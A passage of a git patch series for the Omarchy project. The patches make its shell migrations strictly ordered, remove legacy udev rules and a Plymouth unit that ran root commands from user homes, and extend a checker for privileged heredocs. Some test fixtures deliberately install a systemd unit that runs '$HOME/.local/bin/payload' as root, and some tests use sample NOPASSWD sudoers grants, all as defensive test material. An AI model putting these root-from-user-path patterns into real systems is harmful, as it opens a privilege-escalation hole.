^([A-Za-z_][A-Za-z0-9_]*) ]]; then name=${BASH_REMATCH[1]} + elif [[ $body =~ ^[0-9@*#?$!-]$ ]]; then + name="shell-parameter" else name=$COMMAND_SUBSTITUTION fi else name=${body%%\[*} + [[ $name =~ ^[A-Za-z_] ]] || name="shell-parameter" fi names+=("$name") @@ -418,6 +421,28 @@ command_destinations() { fi } +# Does LINE carry the same resolved value as DEST? Compare resolved tokens rather +# than source spelling so $tmp, ${tmp}, and an alias assigned from either form +# all identify the same scratch file. +line_carries_destination() { + local line="$1" dest="$2" resolved token candidate + local -a tokens=() + + resolved=$(resolve_value "$dest") + line=${line//\"/ } + line=${line//\'/ } + read -r -a tokens <<<"$line" + + for token in "${tokens[@]}"; do + token=${token#[<>]} + token=${token%;} + candidate=$(resolve_value "$token") + [[ $candidate == "$resolved" ]] && return 0 + done + + return 1 +} + # Does the heredoc on this line reach a root-owned file? Either directly, or in # one hop: written to a scratch file that a later install/cp/mv carries into a # privileged directory. @@ -450,7 +475,7 @@ privileged_destination() { while ((follow < ${#scan_lines[@]})); do hop=${scan_lines[follow]} follow=$((follow + 1)) - [[ $hop == *"$dest"* ]] || continue + line_carries_destination "$hop" "$dest" || continue [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue while IFS= read -r hop_dest; do [[ $hop_dest == $'\002elevated' ]] && continue @@ -475,6 +500,31 @@ privileged_destination() { return 1 } +# A pipeline may put the command consuming a heredoc after its terminator: +# +# cat <"$first_run" +printf '%%wheel ALL=(ALL) NOPASSWD: /usr/bin/systemctl\n' >>"$first_run" +before=$(cat "$first_run") +run_migration + +[[ -e $first_run ]] || fail "migration keeps a generated file extended for another sudoers user" +[[ $(cat "$first_run") == "$before" ]] || + fail "migration leaves a generated file extended for another user byte for byte" +pass "migration does not delete an administrator grant that uses a generated command" + # Nothing in this file ties it to Omarchy's first run: no self-cleanup line. reset_machine cat >"$first_run" <<'EOF' @@ -301,14 +314,16 @@ reload_at=$(grep -n '^systemctl daemon-reload$' "$CALLS" | cut -d: -f1) fail "migration disables before removing and reloads last" "$(cat "$CALLS")" pass "migration disables the unit, removes it, then reloads systemd in that order" -# Homes are not all under /home. +# Homes are not all under /home, and the account running this machine-wide +# repair may not be the account that installed the unit. reset_machine -write_plymouth_unit "$home_dir/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" +write_plymouth_unit "/srv/retired-installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" run_migration [[ ! -e $plymouth_unit ]] || - fail "migration removes a shutdown unit rooted in a home outside /home" -pass "migration removes a shutdown unit rooted in a home outside /home" + fail "migration removes another user's shutdown unit rooted outside /home" +[[ -e $machine_marker ]] || fail "migration marks the cross-user Plymouth repair complete" +pass "migration removes another user's shutdown unit rooted outside /home" reset_machine write_plymouth_unit "/usr/bin/omarchy-plymouth-shutdown-sync" From f91d2e5453eb0075ea3b91441639d8d47eae6fdc Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 22:42:33 -0600 Subject: [PATCH 148/336] Restore strict migration ordering --- agents/skills/migrations.md | 2 +- bin/omarchy-migrate | 34 ++------ migrations/1787946619.sh | 28 ++----- migrations/1788025225.sh | 37 ++++----- .../shutdown-unit-home-execstop.sh | 2 +- .../legacy-power-udev-rules-migration-test.sh | 61 ++++++++++---- test/shell.d/migrate-scope-test.sh | 82 +++++-------------- test/shell.d/privileged-heredoc-test.sh | 6 +- ...ired-installer-artifacts-migration-test.sh | 14 ++-- 9 files changed, 110 insertions(+), 156 deletions(-) diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index 4cae6668..0ae0b7aa 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -126,7 +126,7 @@ New migration format: - Start with an `echo` describing what the migration does. - Use `$OMARCHY_PATH` to reference the Omarchy directory. - Be idempotent. Check existing state before changing it. -- When a temporary condition must leave the migration pending without blocking later migrations, write `$OMARCHY_MIGRATION_DEFER_TOKEN` to `$OMARCHY_MIGRATION_DEFER_FILE`, then exit 75. `omarchy-migrate` requires both signals before it continues the queue without writing that migration's completion marker. An unmarked exit 75 is an ordinary failure and aborts the run, so a child command returning `EX_TEMPFAIL` cannot accidentally defer a migration forever. +- Migrations are strictly ordered and synchronous. A migration that cannot finish must exit non-zero, remain pending, and stop the queue; never mark later migrations complete against state an earlier migration has not established. - Use helper commands such as `omarchy-cmd-present`, `omarchy-cmd-missing`, `omarchy-pkg-add`, `omarchy-pkg-drop`, `omarchy-pkg-present`, and `omarchy-pkg-missing` when appropriate. diff --git a/bin/omarchy-migrate b/bin/omarchy-migrate index 59791789..e64aae32 100755 --- a/bin/omarchy-migrate +++ b/bin/omarchy-migrate @@ -85,40 +85,18 @@ wait_for_pacman_transaction mkdir -p "$STATE_DIR" [[ -d $MIGRATIONS_DIR ]] || exit 0 -deferred=() -while IFS=$'\t' read -r name file marker; do +while IFS=$'\t' read -r name file marker <&3; do [[ -n $name ]] || continue if [[ ! -f $marker ]]; then echo -e "\e[32m\nRunning migration (${name%.sh})\e[0m" - defer_file=$(mktemp "$STATE_DIR/.defer.XXXXXX") - defer_token="$BASHPID-$RANDOM-$RANDOM" - migration_status=0 - - if OMARCHY_PATH="$OMARCHY_PATH" \ - OMARCHY_MIGRATION_DEFER_FILE="$defer_file" \ - OMARCHY_MIGRATION_DEFER_TOKEN="$defer_token" \ - bash -euo pipefail "$file"; then - mkdir -p "$(dirname "$marker")" - touch "$marker" - else - migration_status=$? - if (( migration_status == 75 )) && [[ $(<"$defer_file") == "$defer_token" ]]; then - deferred+=("$name") - echo "Migration ${name%.sh} was deferred and will be retried later." - else - rm -f "$defer_file" - exit "$migration_status" - fi - fi - - rm -f "$defer_file" + OMARCHY_PATH="$OMARCHY_PATH" bash -euo pipefail "$file" 3<&- + mkdir -p "$(dirname "$marker")" + touch "$marker" fi -done < <(migration_entries) +done 3< <(migration_entries) # Clear a login-time notification the user left sitting there and then resolved # by running migrations some other way. The substring matches both the current # and legacy notification titles. -if ((${#deferred[@]} == 0)); then - omarchy-notification-dismiss "Omarchy Migrations" >/dev/null 2>&1 || true -fi +omarchy-notification-dismiss "Omarchy Migrations" >/dev/null 2>&1 || true diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh index be89acfe..d6a0705a 100644 --- a/migrations/1787946619.sh +++ b/migrations/1787946619.sh @@ -10,14 +10,6 @@ as_root() { fi } -defer_privileged_repair() { - echo "Cannot remove the legacy privileged udev rule; omarchy-migrate will retry it later." >&2 - if [[ -n ${OMARCHY_MIGRATION_DEFER_FILE:-} && -n ${OMARCHY_MIGRATION_DEFER_TOKEN:-} ]]; then - printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" - fi - exit 75 -} - # Omarchy 3 generated these two rules with an unquoted heredoc, so the installing # user's $HOME was expanded and the file on disk names that absolute home path. # udev runs RUN+= as root, and @@ -86,23 +78,19 @@ rule_runs_from_home() { return 1 } -removed=0 - for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-powersave.rules:omarchy-wifi-powersave"; do rule_file="$rules_dir/${legacy_rule%%:*}" if [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "${legacy_rule##*:}"; then if ! as_root rm -f "$rule_file"; then - defer_privileged_repair + echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 fi - removed=1 + + # Reload after each removal, not after the whole loop. If removing a later + # rule fails, udevd must not keep running one this migration already deleted. + # Best effort the way install/post-install/udev.sh is: a machine with no + # udevd to talk to has had the file removed, and the next boot reads fresh. + as_root udevadm control --reload 2>/dev/null || true fi done - -if (( removed )); then - # Drop the rule from the running udevd too; until it reloads, the rule that was - # just deleted still fires on the next power_supply event. Best effort the way - # install/post-install/udev.sh is: a machine with no udevd to talk to has - # already had the file removed, and the next boot reads the directory fresh. - as_root udevadm control --reload 2>/dev/null || true -fi diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index d7dbb785..31656ddc 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -253,21 +253,18 @@ plymouth_unit_runs_from_home() { first_run_sudoers="$sudoers_dir/first-run" tsui_sudoers="$sudoers_dir/tsui" -defer_privileged_repair() { - echo "Cannot complete the privileged installer-artifact repair; omarchy-migrate will retry it later." >&2 - if [[ -n ${OMARCHY_MIGRATION_DEFER_FILE:-} && -n ${OMARCHY_MIGRATION_DEFER_TOKEN:-} ]]; then - printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" - fi - exit 75 +fail_privileged_repair() { + echo "Cannot complete the privileged installer-artifact repair. An administrator must run omarchy-migrate to repair this machine." >&2 + exit 1 } # This is a machine-wide repair with per-user migration markers. A root-owned, # readable marker lets later non-sudo users finish their own migration run after # one privileged account has inspected and repaired the machine. Until then, -# exit 75 asks omarchy-migrate to leave this migration pending while continuing -# with every later migration instead of wedging the whole queue. +# the migration fails loudly and remains pending. After an administrator repairs +# the machine, this marker lets every other account complete without using sudo. if ! as_root true 2>/dev/null; then - defer_privileged_repair + fail_privileged_repair fi # Removing a unit and reloading systemd are one repair. Persist the second half @@ -275,10 +272,10 @@ fi # retry that now sees no unit on disk. if [[ -e $reload_needed_marker ]]; then if ! as_root systemctl daemon-reload >/dev/null 2>&1; then - defer_privileged_repair + fail_privileged_repair fi if ! as_root rm -f "$reload_needed_marker"; then - defer_privileged_repair + fail_privileged_repair fi fi @@ -289,17 +286,17 @@ inspect_sudoers_file() { # an if-condition makes "file missing" indistinguishable from "sudo failed", # which could mark a live grant repaired without ever reading it. if ! kind=$(as_root bash -c 'if [[ -f $1 ]]; then printf file; elif [[ -e $1 ]]; then printf other; else printf missing; fi' bash "$file"); then - defer_privileged_repair + fail_privileged_repair fi [[ $kind == "file" ]] || return 0 if ! content=$(as_root cat "$file"); then - defer_privileged_repair + fail_privileged_repair fi if "$predicate" <<<"$content"; then if ! as_root rm -f "$file"; then - defer_privileged_repair + fail_privileged_repair fi fi } @@ -314,24 +311,24 @@ if [[ -f $plymouth_unit ]] && plymouth_unit_runs_from_home <"$plymouth_unit"; th # ExecStop is the path this migration exists to keep root away from; disabling # only drops the multi-user.target symlink. if ! as_root install -Dm644 /dev/null "$reload_needed_marker"; then - defer_privileged_repair + fail_privileged_repair fi if ! as_root systemctl disable omarchy-plymouth-shutdown.service >/dev/null 2>&1; then - defer_privileged_repair + fail_privileged_repair fi if ! as_root rm -f "$plymouth_unit"; then - defer_privileged_repair + fail_privileged_repair fi # systemd keeps serving the copy it already loaded until it rereads the # directory, so without this the unit is still there to run at shutdown. if ! as_root systemctl daemon-reload >/dev/null 2>&1; then - defer_privileged_repair + fail_privileged_repair fi if ! as_root rm -f "$reload_needed_marker"; then - defer_privileged_repair + fail_privileged_repair fi fi if ! as_root install -Dm644 /dev/null "$machine_marker"; then - defer_privileged_repair + fail_privileged_repair fi diff --git a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh index 13b91cdd..54b21414 100644 --- a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh +++ b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh @@ -1,4 +1,4 @@ -#!/usr/bin/env bash +#!/bin/bash # Install Plymouth package echo "Installing Plymouth..." diff --git a/test/shell.d/legacy-power-udev-rules-migration-test.sh b/test/shell.d/legacy-power-udev-rules-migration-test.sh index 0f38fce8..969d182f 100755 --- a/test/shell.d/legacy-power-udev-rules-migration-test.sh +++ b/test/shell.d/legacy-power-udev-rules-migration-test.sh @@ -105,7 +105,8 @@ pass "migration removes a Wi-Fi power save rule that runs out of a user home" fail "migration reloads udev after removing a rule" "$(cat "$CALLS")" pass "migration reloads udev after removing a rule" -# Both files gone is still one machine-wide reload, not one per file. +# Reload each removed rule immediately, so a later failure cannot leave an +# already-deleted rule active in udevd. reset_machine write_vulnerable_power_rule write_vulnerable_wifi_rule @@ -113,9 +114,9 @@ run_migration [[ ! -e $power_rule && ! -e $wifi_rule ]] || fail "migration removes both legacy rules in one pass" -(( $(reload_count) == 1 )) || - fail "migration reloads udev once for both removals" "$(cat "$CALLS")" -pass "migration removes both legacy rules and reloads udev once" +(( $(reload_count) == 2 )) || + fail "migration reloads udev after each removal" "$(cat "$CALLS")" +pass "migration removes both legacy rules and reloads after each one" # The second run is what every other account on the machine does, and what a # user gets from running omarchy-migrate again. @@ -210,29 +211,55 @@ run_migration fail "migration removes another user's rule rooted outside /home" "$(cat "$wifi_rule")" pass "migration removes another user's rule rooted outside /home" -# A user who cannot elevate must leave this repair pending without preventing -# later migrations from running. Once another account removes the machine-wide -# file, the next retry can complete without sudo. +# A user who cannot elevate leaves this migration pending and stops the ordered +# queue. Once an administrator removes the machine-wide file, a retry completes. reset_machine write_vulnerable_wifi_rule -defer_file="$test_dir/defer-signal" -defer_token="legacy-udev-repair" -: >"$defer_file" set +e HOME="$home_dir" \ OMARCHY_UDEV_RULES_DIR="$rules_dir" \ - OMARCHY_MIGRATION_DEFER_FILE="$defer_file" \ - OMARCHY_MIGRATION_DEFER_TOKEN="$defer_token" \ PATH="$test_dir/failing-bin:$PATH" \ - bash -euo pipefail "$migration" >"$test_dir/defer.out" 2>&1 -defer_status=$? + bash -euo pipefail "$migration" >"$test_dir/elevation-failure.out" 2>&1 +failure_status=$? set -e -(( defer_status == 75 )) || fail "migration defers when sudo cannot remove a vulnerable rule" "status=$defer_status" +(( failure_status != 0 )) || fail "migration fails when sudo cannot remove a vulnerable rule" [[ -e $wifi_rule ]] || fail "migration keeps the vulnerable rule when its elevated removal fails" -[[ $(<"$defer_file") == "$defer_token" ]] || fail "migration authenticates its deferral to the runner" -pass "migration defers instead of blocking the queue when removal cannot elevate" +grep -q 'Ask an administrator to run omarchy-migrate' "$test_dir/elevation-failure.out" || + fail "migration explains how a non-sudo user can complete the repair" "$(cat "$test_dir/elevation-failure.out")" +pass "migration fails loudly with administrator guidance when removal cannot elevate" + +# If the first removal succeeds but the second one cannot elevate, the first +# rule must already have been dropped from the running udevd. +reset_machine +write_vulnerable_power_rule +write_vulnerable_wifi_rule +cat >"$test_dir/failing-bin/sudo" <<'STUB' +#!/bin/bash + +printf 'sudo %s\n' "$*" >>"$CALLS" +if [[ $* == *99-wifi-powersave.rules ]]; then + exit 1 +fi +exec "$@" +STUB +chmod +x "$test_dir/failing-bin/sudo" +: >"$CALLS" + +set +e +HOME="$home_dir" \ + OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + PATH="$test_dir/failing-bin:$test_dir/bin:$PATH" \ + bash -euo pipefail "$migration" >"$test_dir/partial-failure.out" 2>&1 +partial_status=$? +set -e + +(( partial_status != 0 )) || fail "migration fails when the second rule cannot be removed" +[[ ! -e $power_rule && -e $wifi_rule ]] || fail "migration preserves the expected partial-removal state" +(( $(reload_count) == 1 )) || + fail "migration reloads udev before a later removal failure" "$(cat "$CALLS")" +pass "a later removal failure cannot leave an already-deleted rule loaded" # Nothing named the wrong binary is ours: the same path with a different command # is a rule this migration cannot claim to know anything about. diff --git a/test/shell.d/migrate-scope-test.sh b/test/shell.d/migrate-scope-test.sh index d31240b9..ddb7f59e 100644 --- a/test/shell.d/migrate-scope-test.sh +++ b/test/shell.d/migrate-scope-test.sh @@ -76,68 +76,30 @@ grep -q '^before-fail$' "$calls" || fail "migration runner started failing migra ! grep -q '^after-fail$' "$calls" || fail "migration runner stops failing migration under strict mode" pass "migration runner does not mark failed migrations complete" -deferred_root="$test_tmp/deferred-omarchy" -deferred_home="$test_tmp/deferred-home" -deferred_calls="$test_tmp/deferred-calls" -mkdir -p "$deferred_root/migrations" "$deferred_home" +stdin_root="$test_tmp/stdin-omarchy" +stdin_home="$test_tmp/stdin-home" +stdin_calls="$test_tmp/stdin-calls" +mkdir -p "$stdin_root/migrations" "$stdin_home" -cat >"$deferred_root/migrations/100-deferred.sh" <<'SH' -echo deferred >>"$TEST_CALLS" -printf '%s\n' "$OMARCHY_MIGRATION_DEFER_TOKEN" >"$OMARCHY_MIGRATION_DEFER_FILE" -exit 75 +cat >"$stdin_root/migrations/100-reader.sh" <<'SH' +IFS= read -r value +printf 'reader:%s\n' "$value" >>"$TEST_CALLS" SH -cat >"$deferred_root/migrations/200-after.sh" <<'SH' -echo after >>"$TEST_CALLS" +cat >"$stdin_root/migrations/200-after.sh" <<'SH' +echo after-reader >>"$TEST_CALLS" SH -HOME="$deferred_home" \ -OMARCHY_PATH="$deferred_root" \ -TEST_CALLS="$deferred_calls" \ - "$ROOT/bin/omarchy-migrate" >"$test_tmp/deferred.out" +printf 'migration input\n' | \ + HOME="$stdin_home" \ + OMARCHY_PATH="$stdin_root" \ + TEST_CALLS="$stdin_calls" \ + "$ROOT/bin/omarchy-migrate" >"$test_tmp/stdin.out" -grep -q '^deferred$' "$deferred_calls" || fail "migration runner starts a deferred migration" -grep -q '^after$' "$deferred_calls" || fail "migration runner continues after a deferred migration" -[[ ! -f $deferred_home/.local/state/omarchy/migrations/100-deferred.sh ]] || - fail "migration runner leaves a deferred migration pending" -[[ -f $deferred_home/.local/state/omarchy/migrations/200-after.sh ]] || - fail "migration runner records a later successful migration" -grep -q 'was deferred and will be retried later' "$test_tmp/deferred.out" || - fail "migration runner reports a deferred migration" -pass "migration runner leaves exit-75 migrations pending and continues the queue" - -HOME="$deferred_home" OMARCHY_PATH="$deferred_root" \ - "$ROOT/bin/omarchy-migrate" --pending >"$test_tmp/deferred-pending.out" -grep -q '^100-deferred\.sh$' "$test_tmp/deferred-pending.out" || - fail "migration runner still reports a deferred migration as pending" -! grep -q '^200-after\.sh$' "$test_tmp/deferred-pending.out" || - fail "migration runner does not report the completed later migration as pending" -pass "migration runner reports only the deferred migration as pending" - -raw_75_root="$test_tmp/raw-75-omarchy" -raw_75_home="$test_tmp/raw-75-home" -raw_75_calls="$test_tmp/raw-75-calls" -mkdir -p "$raw_75_root/migrations" "$raw_75_home" - -cat >"$raw_75_root/migrations/100-child-tempfail.sh" <<'SH' -echo child-tempfail >>"$TEST_CALLS" -bash -c 'exit 75' -SH -cat >"$raw_75_root/migrations/200-after.sh" <<'SH' -echo after-tempfail >>"$TEST_CALLS" -SH - -set +e -HOME="$raw_75_home" \ -OMARCHY_PATH="$raw_75_root" \ -TEST_CALLS="$raw_75_calls" \ - "$ROOT/bin/omarchy-migrate" >"$test_tmp/raw-75.out" 2>"$test_tmp/raw-75.err" -raw_75_status=$? -set -e - -(( raw_75_status == 75 )) || - fail "migration runner preserves an unmarked child exit 75" "status=$raw_75_status" -grep -q '^child-tempfail$' "$raw_75_calls" || fail "migration runner starts the exit-75 child" -! grep -q '^after-tempfail$' "$raw_75_calls" || fail "migration runner stops after an unmarked exit 75" -[[ ! -f $raw_75_home/.local/state/omarchy/migrations/100-child-tempfail.sh ]] || - fail "migration runner leaves an unmarked exit-75 migration incomplete" -pass "migration runner does not mistake a child EX_TEMPFAIL for intentional deferral" +grep -q '^reader:migration input$' "$stdin_calls" || + fail "migration runner preserves the caller's stdin for a migration" "$(cat "$stdin_calls")" +grep -q '^after-reader$' "$stdin_calls" || + fail "a migration reading stdin does not swallow later queue entries" "$(cat "$stdin_calls")" +[[ -f $stdin_home/.local/state/omarchy/migrations/100-reader.sh && + -f $stdin_home/.local/state/omarchy/migrations/200-after.sh ]] || + fail "migration runner marks both stdin-isolated migrations complete" +pass "migration queue uses a private file descriptor instead of migration stdin" diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index 0bbe1abf..9501113b 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -475,8 +475,8 @@ privileged_destination() { while ((follow < ${#scan_lines[@]})); do hop=${scan_lines[follow]} follow=$((follow + 1)) - line_carries_destination "$hop" "$dest" || continue [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue + line_carries_destination "$hop" "$dest" || continue while IFS= read -r hop_dest; do [[ $hop_dest == $'\002elevated' ]] && continue [[ $hop_dest == "$dest" ]] && continue @@ -761,7 +761,9 @@ shell_sources() { local file first while IFS= read -r -d '' file; do - grep -Iq . "$file" 2>/dev/null || continue + # Binary files and sources with no heredoc operator have nothing this check + # can classify. Filter them before collect_vars and the line-by-line scan. + grep -Iq '<<' "$file" 2>/dev/null || continue case $file in *.sh | *.hook) diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh index 1769649e..0d5d6703 100755 --- a/test/shell.d/retired-installer-artifacts-migration-test.sh +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -571,8 +571,8 @@ FAIL_DAEMON_RELOAD_ONCE_MARKER="$reload_failure_seen" run_migration reload_status=$? set -e -(( reload_status == 75 )) || - fail "migration defers after a failed daemon-reload" "status=$reload_status" +(( reload_status != 0 )) || + fail "migration fails after a failed daemon-reload" "status=$reload_status" [[ ! -e $plymouth_unit && -e $reload_needed_marker && ! -e $machine_marker ]] || fail "migration records the pending reload without marking the repair complete" @@ -606,15 +606,15 @@ HOME="$home_dir" \ gate_status=$? set -e -(( gate_status == 75 )) || - fail "migration defers when it cannot elevate to inspect the sudoers directory" "status=$gate_status$(printf '\n%s' "$(cat "$test_dir/gate.out")")" +(( gate_status != 0 )) || + fail "migration fails when it cannot elevate to inspect the sudoers directory" "status=$gate_status$(printf '\n%s' "$(cat "$test_dir/gate.out")")" [[ -e $readable/first-run ]] || fail "migration keeps a live grant when elevation fails" [[ ! -e $machine_marker ]] || fail "migration leaves the machine repair unmarked when elevation fails" -grep -q 'will retry it later' "$test_dir/gate.out" || - fail "migration says why it could not inspect the directory" "$(cat "$test_dir/gate.out")" -pass "migration defers without marking a readable sudoers directory repaired when elevation fails" +grep -q 'An administrator must run omarchy-migrate' "$test_dir/gate.out" || + fail "migration explains how the machine-wide repair can complete" "$(cat "$test_dir/gate.out")" +pass "migration fails without marking the machine repaired and names the administrator action" # After one privileged account completes the machine repair, a non-sudo user # can finish their per-user migration without probing sudo again. From e711066522f051e6226327b3fcd4d64c9da60bc1 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 07:46:48 +0200 Subject: [PATCH 149/336] Add CODEOWNERS requiring org owner review --- .github/CODEOWNERS | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 .github/CODEOWNERS diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000..4e9460dd --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,2 @@ +# Merges to protected branches need sign-off from an org owner. +* @dhh @ryanrhughes From 8e41961c7de081c3a097fc61c68f19ad4397cc5e Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 23:55:42 -0600 Subject: [PATCH 150/336] Close privileged cleanup review gaps --- migrations/1787946619.sh | 34 ++++++- migrations/1788025225.sh | 6 +- .../nested-parameter-default.sh | 6 ++ .../route-install-hop-literal.sh | 7 ++ .../route-prebody-escaped-pipeline.sh | 6 ++ .../legacy-power-udev-rules-migration-test.sh | 55 ++++++++++- test/shell.d/privileged-heredoc-test.sh | 93 +++++++++++++------ ...ired-installer-artifacts-migration-test.sh | 15 +++ 8 files changed, 186 insertions(+), 36 deletions(-) create mode 100644 test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-install-hop-literal.sh create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh index d6a0705a..204712d9 100644 --- a/migrations/1787946619.sh +++ b/migrations/1787946619.sh @@ -1,6 +1,8 @@ echo "Remove Omarchy 3 power udev rules that run a command out of a user home" rules_dir="${OMARCHY_UDEV_RULES_DIR:-/etc/udev/rules.d}" +reload_needed_marker="${OMARCHY_UDEV_RELOAD_NEEDED_MARKER:-/var/lib/omarchy/migrations/1787946619-udev-reload-needed}" +udev_control="${OMARCHY_UDEV_CONTROL:-/run/udev/control}" as_root() { if (( EUID == 0 )); then @@ -78,19 +80,41 @@ rule_runs_from_home() { return 1 } +finish_pending_reload() { + # With no control socket there is no running udevd holding the deleted rule; + # the next daemon start reads the directory from disk. If a daemon is running, + # a failed reload must keep this migration pending so the in-memory root rule + # cannot outlive the per-user completion marker. + if [[ -e $udev_control ]] && ! as_root udevadm control --reload 2>/dev/null; then + echo "Could not reload udev after removing a vulnerable legacy rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi + + if ! as_root rm -f "$reload_needed_marker"; then + echo "Could not finish the legacy udev-rule repair. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi +} + +# Deleting the file and reloading the daemon are one repair. A prior run may +# have removed the file and then failed before udevd accepted the new ruleset. +if [[ -e $reload_needed_marker ]]; then + finish_pending_reload +fi + for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-powersave.rules:omarchy-wifi-powersave"; do rule_file="$rules_dir/${legacy_rule%%:*}" if [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "${legacy_rule##*:}"; then + if ! as_root install -Dm644 /dev/null "$reload_needed_marker"; then + echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 + exit 1 + fi if ! as_root rm -f "$rule_file"; then echo "Administrator privileges are required to remove the vulnerable legacy udev rule. Ask an administrator to run omarchy-migrate." >&2 exit 1 fi - # Reload after each removal, not after the whole loop. If removing a later - # rule fails, udevd must not keep running one this migration already deleted. - # Best effort the way install/post-install/udev.sh is: a machine with no - # udevd to talk to has had the file removed, and the next boot reads fresh. - as_root udevadm control --reload 2>/dev/null || true + finish_pending_reload fi done diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index 31656ddc..96ba2f6c 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -116,8 +116,8 @@ sudoers_hash_is_active() { # hand-written line anywhere in the file and it is not ours to delete. first_run_sudoers_is_generated() { local spec_pattern='^([^[:space:]]+) ALL=\(ALL\) NOPASSWD: (.+)$' - local marker_pattern='^/bin/rm -f /home/[^/]+/\.local/state/omarchy/first-run\.mode$' - local line user command generated_user="" + local marker_pattern='^/bin/rm -f /home/([^/]+)/\.local/state/omarchy/first-run\.mode$' + local line user command marker_user generated_user="" local seen_any=0 seen_marker=0 seen_spec=0 while IFS= read -r line; do @@ -161,6 +161,8 @@ first_run_sudoers_is_generated() { esac if [[ $command =~ $marker_pattern ]]; then + marker_user=${BASH_REMATCH[1]} + [[ $marker_user == "$generated_user" ]] || return 1 seen_marker=1 continue fi diff --git a/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh b/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh new file mode 100644 index 00000000..7cb74bc0 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/nested-parameter-default.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +# omarchy:heredoc-expands paths=none -- review regression fixture +sudo tee /etc/omarchy/review.conf >/dev/null </tmp/omarchy-review-unit +[Service] +ExecStart=$HOME/.local/bin/payload +EOF +sudo install -m 644 /tmp/omarchy-review-unit /etc/systemd/system/review.service diff --git a/test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh b/test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh new file mode 100644 index 00000000..c03d436f --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-prebody-escaped-pipeline.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +cat <"$test_dir/bin/udevadm" <<'STUB' #!/bin/bash printf 'udevadm %s\n' "$*" >>"$CALLS" +if [[ -n ${FAIL_UDEV_RELOAD_ONCE_MARKER:-} && ! -e $FAIL_UDEV_RELOAD_ONCE_MARKER ]]; then + touch "$FAIL_UDEV_RELOAD_ONCE_MARKER" + exit 1 +fi STUB chmod +x "$test_dir/bin/"* @@ -44,10 +48,13 @@ rules_dir="$test_dir/rules.d" home_dir="$test_dir/home" power_rule="$rules_dir/99-power-profile.rules" wifi_rule="$rules_dir/99-wifi-powersave.rules" +reload_needed_marker="$test_dir/reload-needed" +udev_control="$test_dir/udev-control" reset_machine() { - rm -rf "$rules_dir" "$home_dir" + rm -rf "$rules_dir" "$home_dir" "$reload_needed_marker" "$udev_control" mkdir -p "$rules_dir" "$home_dir" + touch "$udev_control" } run_migration() { @@ -55,6 +62,8 @@ run_migration() { HOME="$home_dir" \ OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + OMARCHY_UDEV_RELOAD_NEEDED_MARKER="$reload_needed_marker" \ + OMARCHY_UDEV_CONTROL="$udev_control" \ PATH="$test_dir/bin:$PATH" \ bash -euo pipefail "$migration" >/dev/null } @@ -118,6 +127,45 @@ run_migration fail "migration reloads udev after each removal" "$(cat "$CALLS")" pass "migration removes both legacy rules and reloads after each one" +# Removing the file and reloading the running daemon are one repair. If reload +# fails, the durable marker must keep the migration pending even though the rule +# has already disappeared from disk; a retry finishes that half before exiting. +reset_machine +write_vulnerable_wifi_rule +reload_failure_seen="$test_dir/reload-failure-seen" +rm -f "$reload_failure_seen" + +set +e +FAIL_UDEV_RELOAD_ONCE_MARKER="$reload_failure_seen" run_migration +reload_status=$? +set -e + +(( reload_status != 0 )) || fail "migration fails when a running udevd cannot reload" +[[ ! -e $wifi_rule && -e $reload_needed_marker ]] || + fail "migration records a deleted rule whose daemon 